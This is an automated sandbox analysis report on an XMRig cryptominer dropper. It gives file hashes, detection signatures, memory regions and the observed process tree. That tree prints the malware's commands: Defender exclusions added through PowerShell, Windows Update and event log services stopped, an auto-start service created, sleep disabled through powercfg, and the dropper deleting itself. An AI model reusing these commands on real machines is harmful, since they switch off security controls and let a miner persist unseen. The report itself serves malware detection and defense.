Analysis

  • max time kernel
    91s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-12-2024 08:34

General

  • Target

    4da76fac218ef73b5cb327ca725859857ebc9ca22ec1d678e6a782e8db95e9baN.exe

  • Size

    5.6MB

  • MD5

    2bd3a66d7d0cb47d90ee7107a8c80ac0

  • SHA1

    e53b499eea45efc7965c08412c838555ab280aad

  • SHA256

    4da76fac218ef73b5cb327ca725859857ebc9ca22ec1d678e6a782e8db95e9ba

  • SHA512

    d71870806c41a9c514104951b563055b0d7f1d18129c988d2c5b0cf2b8df6892c13d368cc2663af7b9efc3ea73bde9ee5872f06483da535d7f39b8c94b91f6be

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4da76fac218ef73b5cb327ca725859857ebc9ca22ec1d678e6a782e8db95e9baN.exe
    "C:\Users\Admin\AppData\Local\Temp\4da76fac218ef73b5cb327ca725859857ebc9ca22ec1d678e6a782e8db95e9baN.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1416
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1872
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2876
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2616
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2864
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:3060
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2896
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2956
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2772
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2780
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2612
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2620
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2628
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "JIOGRCSG"
      2⤵
      • Launches sc.exe
      PID:2652
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:1888
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:1960
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "JIOGRCSG"
      2⤵
      • Launches sc.exe
      PID:1548
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\4da76fac218ef73b5cb327ca725859857ebc9ca22ec1d678e6a782e8db95e9baN.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2796
    • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
      C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1604
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
          • Drops file in Windows directory
          PID:2996
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:1508
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2036
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:1336
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:1760
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:768
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3032
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2268
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2092
      • C:\Windows\system32\conhost.exe
        C:\Windows\system32\conhost.exe
        2⤵
          PID:2100
        • C:\Windows\system32\nslookup.exe
          nslookup.exe
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2420

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • \ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

        Filesize

        5.6MB

        MD5

        2bd3a66d7d0cb47d90ee7107a8c80ac0

        SHA1

        e53b499eea45efc7965c08412c838555ab280aad

        SHA256

        4da76fac218ef73b5cb327ca725859857ebc9ca22ec1d678e6a782e8db95e9ba

        SHA512

        d71870806c41a9c514104951b563055b0d7f1d18129c988d2c5b0cf2b8df6892c13d368cc2663af7b9efc3ea73bde9ee5872f06483da535d7f39b8c94b91f6be

      • memory/1872-4-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

        Filesize

        4KB

      • memory/1872-5-0x000000001B620000-0x000000001B902000-memory.dmp

        Filesize

        2.9MB

      • memory/1872-6-0x00000000020B0000-0x00000000020B8000-memory.dmp

        Filesize

        32KB

      • memory/1872-7-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

        Filesize

        9.6MB

      • memory/1872-11-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

        Filesize

        9.6MB

      • memory/1872-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

        Filesize

        9.6MB

      • memory/1872-9-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

        Filesize

        9.6MB

      • memory/1872-8-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

        Filesize

        9.6MB

      • memory/1872-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

        Filesize

        9.6MB

      • memory/2100-19-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2100-25-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2100-23-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2100-22-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2100-21-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2100-20-0x0000000140000000-0x000000014000E000-memory.dmp

        Filesize

        56KB

      • memory/2420-36-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-31-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-30-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-28-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-33-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-35-0x00000000003C0000-0x00000000003E0000-memory.dmp

        Filesize

        128KB

      • memory/2420-32-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-41-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-29-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-34-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-38-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-40-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-39-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2420-37-0x0000000140000000-0x0000000140848000-memory.dmp

        Filesize

        8.3MB

      • memory/2800-18-0x0000000000960000-0x0000000000968000-memory.dmp

        Filesize

        32KB

      • memory/2800-17-0x0000000019E30000-0x000000001A112000-memory.dmp

        Filesize

        2.9MB